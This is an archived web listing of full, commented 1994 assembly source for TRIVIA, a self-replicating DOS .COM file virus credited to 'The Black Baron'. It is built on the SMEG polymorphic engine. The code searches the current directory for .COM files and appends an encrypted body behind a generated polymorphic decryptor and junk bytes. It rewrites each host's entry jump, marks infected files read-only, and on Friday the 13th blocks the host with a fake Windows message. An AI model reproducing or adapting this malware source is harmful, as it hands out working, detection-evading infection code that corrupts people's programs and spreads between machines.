home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SMEGUPD1.ZIP
/
SMEG03.ZIP
/
TRIVSMEG.ASM
< prev
next >
Wrap
Assembly Source File
|
1994-06-17
|
15KB
|
403 lines
; ┌────────────────────────────────────────┐
; │ TRIVIA │
; │ ══════ │
; │ A trivial, direct action .COM infector │
; │ (C) The Black Baron 1994 │
; └────────────────────────────────────────┘
;This version of TRIVIA uses the SMEG polymorph engine, any differences in
;this version relating to the SMEG engine are enclosed in characters
;
EXTRN POLYMORPH : NEAR
EXTRN ENCRYPT : NEAR
EXTRN JUNK_GEN : NEAR
;
;Some EQUates
;────────────
DTA_OFFSET EQU 3
;
SMEG_SIZE EQU 2016
SMEG_BUFFER EQU 45
JUNK_MAX EQU 1151
;
CODESG SEGMENT BYTE PUBLIC
;We are a .COM, so set up the ASSUMES to reflect this
;────────────────────────────────────────────────────
ASSUME CS:CODESG,DS:CODESG,ES:CODESG,SS:CODESG
;Standard ORG for a .COM
;───────────────────────
ORG 100h
;
;First we MUST relocate as if we are a .COM file starting at CS:100h!
;────────────────────────────────────────────────────────────────────
BEGIN: CALL NEXT_LINE ;Stack our current location
NEXT_LINE: POP AX ;Fetch our current location
DEC AH ;SUB 256
MOV CL,4 ;Count 4
SHR AX,CL ;Divide by 16
MOV BX,CS ;Fetch our CS
ADD AX,BX ;Add CS to our (IP-256) / 4
PUSH AX ;Stack our new CS
MOV AX,OFFSET RELOCATED ;Fetch our next IP
PUSH AX ;Stack it
RETF ;Far return to the next line!
;This adjusts our CS and our
;IP as if we started at CS:100h
;regardless of our actual IP
;start address (MOD 16).
;Thus relocating us!
;Because we are a .COM we must adjust the other segment registers to equal
;our new CODE SEGMENT. But we MUST also save the original CODE SEGMENT by
;saving the DATA SEGMENT so we can restore all the original segments prior
;to executing the host
;─────────────────────────────────────────────────────────────────────────
RELOCATED: MOV AX,DS ;Get original DATA SEGMENT
PUSH CS ;Stack new CS
PUSH CS ;And again
PUSH CS ;And again
POP DS ;DS = new CS (we are a .COM)
POP ES ;ES = " "" "" " " "
POP SS ;SS = " "" "" " " "
PUSH AX ;Stack original DATA SEGMENT
;
;Get and save the hosts original first 3 bytes
;─────────────────────────────────────────────
CALL GO_RESTORE ;"JMP" over the 1st 3 bytes!
;A store for the hosts first three bytes, just an INT 20h at the mo'
;───────────────────────────────────────────────────────────────────
FIRST_THREE_STORE: INT 20h ;2 bytes
NOP ;1 byte
GO_RESTORE: POP SI ;Point to the original 1st 3
CLD ;Just in case!
LODSW ;Get first 2
XCHG BX,AX ;Make BX = AX
LODSB ;Get 3rd
PUSH AX ;Save it
PUSH BX ;Save 1st and 2nd bytes
;Now make SI (our work area pointer) = the free space after our code
;───────────────────────────────────────────────────────────────────
CALL SET_SI
;Alter the INT 24h handler to stop any "WRITE PROTECTED" type errors
;───────────────────────────────────────────────────────────────────
CALL GET_PC ;"JMP" over our INT 24h handler
;Our INT 24h handler, just ignores the error and continues
;─────────────────────────────────────────────────────────
XOR AL,AL ;Signal IGNORE ERROR
IRET ;RETurn from INT 24h
;POP off our INT 24h handlers address and use it to set the INT 24h handler
;──────────────────────────────────────────────────────────────────────────
GET_PC: POP DX ;Get address of our INT 24h
;DS is already our CS
MOV AX,2524h ;Set INT 24h
INT 21h ;Set the interrupt
;Time now to save the hosts DTA and set up our own DTA
;─────────────────────────────────────────────────────
;
PUSH ES ;Save our current ES for SMEG
;
MOV AH,2Fh ;Get DTA function
INT 21h ;Get it!
;
POP AX ;Restore our current ES
;
PUSH ES ;Save hosts DTA segment
PUSH BX ;Save hosts DTA offset
;
MOV ES,AX ;Restore our current ES for SMEG
;
MOV DX,SI ;Get end of our code
ADD DX,DTA_OFFSET ;ADD 3 to it
MOV AH,1Ah ;Set DTA function
INT 21h ;Set it!
;Right! Time to find our first potential victim! NOTE: This virus will
;not infect .COM's with the R/O attribute set, as this is the way that this
;virus marks infected files! Also, it only infects ONE file in the CURRENT
;directory on each run
;──────────────────────────────────────────────────────────────────────────
CALL GET_FIRST ;"JMP" over the search name!
DB '*.COM',0 ;The ASCIIZ search name
GET_FIRST: POP DX ;Get search name address
MOV AH,4Eh ;Search First function
XOR CX,CX ;Signal NORMAL files only
GET_NEXT: INT 21h ;Do the search
JNC GOT_A_VICTIM ;OK, found a potential victim!
JMP RUN_HOST ;Run the host, as any errors
;are treated as FILE NOT FOUND,
;NO MORE FILES
;OK, got a potential victim. Do some checks to see if we can infect
;───────────────────────────────────────────────────────────────────
GOT_A_VICTIM: MOV AL,[SI+DTA_OFFSET+15h] ;Get attribute
AND AL,1 ;Is it read only?
MOV AH,4Fh ;Prepare for GET NEXT search
JNZ GET_NEXT ;Yes, so can't infect it! Get
;another potential victim
CMP WORD PTR [SI+DTA_OFFSET+1Ch],0 ;High size word 0?
JNZ GET_NEXT ;NO, so get
;another potential
;victim!
CMP WORD PTR [SI+DTA_OFFSET+1Ah],LARGEST_VICTIM
JAE GET_NEXT ;Sorry, .COM too big! So get
;another potential victim!
CMP WORD PTR [SI+DTA_OFFSET+1Ah],3 ;Can't infect
;files <3 bytes
JB GET_NEXT ;Get another potential victim
;Right, size checks passed. Now open the victim for READ/WRITE
;──────────────────────────────────────────────────────────────
MOV DX,SI ;Point to our buffer/DTA
ADD DX,DTA_OFFSET+1Eh ;Adjust to point to filename
MOV AX,3D02h ;Open for READ/WRITE access
INT 21h ;Open it!
JNC OPENED_OK ;Opened it OK
JMP RUN_HOST ;Failed to open it, run host
;OK, now read in the first 3 bytes and store them for restoring the host
;───────────────────────────────────────────────────────────────────────
OPENED_OK: XCHG BX,AX ;Get file handle into BX
MOV DX,SI ;Point to our buffer
SUB DX,FIRST_THREE ;Point to our 1st 3 store
MOV CX,3 ;Three bytes to read
MOV AH,3Fh ;Read File function
INT 21h ;Read 'em!
JNC GOT_FIRST_THREE ;Got first 3 bytes OK
MOV AH,3Eh ;Close function
INT 21h ;Close it!
JMP RUN_HOST ;ERROR, so run the host
GOT_FIRST_THREE: CMP WORD PTR [SI-FIRST_THREE],'ZM' ;Is it a .EXE in
;disguise?!!!
JNZ A_REAL_COM ;No, it's a .COM
TRY_ANOTHER: MOV AH,3Eh ;Close file function
INT 21h ;Close it
MOV AH,4Fh ;GET NEXT function
JMP GET_NEXT ;Try for another victim
;Now move to EOF to calculate the initial JMP and also to append the virus
;─────────────────────────────────────────────────────────────────────────
A_REAL_COM: MOV AX,4202h ;Move pointer, offset from end
XOR CX,CX ;Zero CX
CWD ;Zero DX by sign extending AX!
INT 21h ;Move it!
JC TRY_ANOTHER ;ERROR, so try another victim
;
;First we MUST pad the file so it's size is a multiple of 16, this is to
;make relocation a simple task! Padding is a simple task, thus:
;───────────────────────────────────────────────────────────────────────
PUSH AX ;Save filesize
AND AX,15 ;Mask low four bits
MOV CX,AX ;Make CX = 0 if AX = 0
JZ NO_PADDING ;If already zero no need to pad
NEG AX ;Neg AX!
ADD AX,16 ;ADD 16 (same as 16-AX)
MOV CX,AX ;Make CX = padding count
NO_PADDING: POP AX ;Restore original filesize
ADD AX,CX ;Add in padding count
PUSH AX ;Save new END OF FILE
MOV AH,40h ;Write to file
INT 21h ;Write CX padding bytes to the
;end of the file, from where-
;ever DX happens to be pointing!
POP AX ;Restore new EOF
;
SUB AX,3 ;Adjust for the JMP
MOV BYTE PTR [SI],0E9h ;Store the JMP instruction
MOV [SI+1],AX ;Store the JMP offset
MOV DX,SI ;Point to the virus end
MOV CX,VIRUS_SIZE ;CX = the virus length
SUB DX,CX ;SUB length (DX now = BEGIN)
;
;We must now generate the polymorphic front-end, which includes the decryptor
;────────────────────────────────────────────────────────────────────────────
ADD AX,103h ;ADD 259 to = start address
MOV BP,SI ;Make BP = our workspace
ADD BP,DTA_OFFSET + 128 ;ADD over our DTA/workspace
MOV DI,BP ;Make DI = polymorph workspc
ADD DI,SMEG_BUFFER ;ADD in the 45 byte poly buffer
PUSH CX ;Save size for later
PUSH DI ;Save DI for later
PUSH DI ;Save DI again
;AX = Start address, CX = Virus body length, DX = Virus start address,
;DI = workspace (2048 bytes max needed), BP = 45 byte SMEG workspace
;─────────────────────────────────────────────────────────────────────
CALL POLYMORPH ;Generate the decryptor
POP DX ;Point to our decryptor
MOV CX,[BP+39] ;Get the decryptor size
MOV AH,40h ;Write to file function
INT 21h ;Write the decryptor!
;BP MUST = 45 byte SMEG workspace before calling ENCRYPT
;───────────────────────────────────────────────────────
CALL ENCRYPT ;Encrypt our virus body
POP DX ;Point to our encrypted body
POP CX ;Our virus length
MOV AH,40h ;Write to file function
INT 21h ;Write the virus body
;BP MUST = 45 byte SMEG workspace before calling JUNK_GEN
;────────────────────────────────────────────────────────
CALL JUNK_GEN ;Generate some junk
;JUNK_GEN returns CX = junk length DX = junk start, which just happens to be
;the registers required for a DOS write to file!
;───────────────────────────────────────────────────────────────────────────
MOV AH,40h ;Write to file function
INT 21h ;Write the junk
;
;All file errors from this point are ignored!
;────────────────────────────────────────────
;Virus appended, now make the 1st 3 bytes = the JMP to the virus code
;────────────────────────────────────────────────────────────────────
MOV AX,4200h ;Move pointer, offset from top
XOR CX,CX ;Zero CX
CWD ;Zero DX
INT 21h ;Move it!
MOV DX,SI ;Point to our first three
MOV CX,3 ;3 bytes to write
MOV AH,40h ;Write to file function
INT 21h ;Write it!
;Restore old date and time from the values in our DTA
;────────────────────────────────────────────────────
MOV CX,[SI+DTA_OFFSET+16h] ;Get old time
MOV DX,[SI+DTA_OFFSET+18h] ;Get old date
MOV AX,5701h ;Set time/date function
INT 21h ;Set it!
MOV AH,3Eh ;Close file function
INT 21h ;Close it!
;Now SET the R/O attribute, to prevent further infections of the same file
;─────────────────────────────────────────────────────────────────────────
XOR CH,CH ;Zero CX high byte
MOV CL,[SI+DTA_OFFSET+15h] ;Get original attribute
OR CL,1 ;SET R/O attribute
MOV DX,SI ;Point to our buffer/DTA
ADD DX,DTA_OFFSET+1Eh ;Adjust to point to filename
MOV AX,4301h ;Set Attribute function
INT 21h ;Set 'em!
;See if we need to deliver out trivial payload!
;──────────────────────────────────────────────
RUN_HOST: MOV AH,2Ah ;Get system date function
INT 21h ;Get it!
CMP AL,5 ;Is it a FRIDAY?
JNZ NO_PAYLOAD ;Nope! So no payload
CMP DL,13 ;Is it the 13th
JNZ NO_PAYLOAD ;Nope! So no payload
;Our trivial payload is delivered on FRIDAY the 13ths! (original, eh?!!)
;No damage occurs, we just print a message and don't allow the host to run,
;The message is the same as the one you get trying to run a windows program
;under DOS!
;──────────────────────────────────────────────────────────────────────────
CALL DUMP_MESSAGE ;"JMP" over the message
DB 'This program requires Microsoft Windows.'
DB 13,10,'$'
DUMP_MESSAGE: POP DX ;Point to the message
MOV AH,9 ;DOS print string
INT 21h ;Print it!
MOV AX,4C00h ;Terminate, return 0
INT 21h ;Terminate!
;Time to run the host, first we must restore it's original 1st 3 bytes
;─────────────────────────────────────────────────────────────────────
NO_PAYLOAD: POP DX ;Restore original DTA address
POP DS ;Restore original DTA segment
MOV AH,1Ah ;Set DTA function
INT 21h ;Set it!
MOV DI,100h ;Point to the first byte
POP AX ;Get 1st and 2nd bytes
POP BX ;Get 3rd byte
;
POP CX ;Get original DATA SEGMENT
MOV DS,CX ;Make DS = original DS
MOV ES,CX ;Make ES = original ES
MOV SS,CX ;Make SS = original SS
;
STOSW ;Restore original 1st/2nd bytes
XCHG BX,AX ;Get 3rd byte
STOSB ;Restore it
;
PUSH DS ;Stack original CS
MOV SI,0100h ;Stack start address for .COM
PUSH SI ;Stack it
RETF ;RUN the .COM and restore CS
;
;Set up SI to some free space
;────────────────────────────
SET_SI: CALL THE_END
THE_END: POP SI ;SI now = this point
;
ADD SI,5+SMEG_SIZE+1
;Skip over the POP, ADD & RET
;Also skip over SMEG
RET ;Back to our caller
;An EQUate used to point to a 3 byte store space, for the hosts 1st 3 bytes
;──────────────────────────────────────────────────────────────────────────
FIRST_THREE EQU $+SMEG_SIZE-FIRST_THREE_STORE
;Some more equates
;─────────────────
VIRUS_SIZE EQU $+SMEG_SIZE-BEGIN
;The virus size
LARGEST_COM EQU 65279-256 ;Largest .COM - our stack & DTA
LARGEST_VICTIM EQU LARGEST_COM-VIRUS_SIZE - SMEG_SIZE-JUNK_MAX
;Our largest victim
;
;SI = this point + SMEG, I.E. the free space after all the program code
;──────────────────────────────────────────────────────────────────────
CODESG ENDS
END BEGIN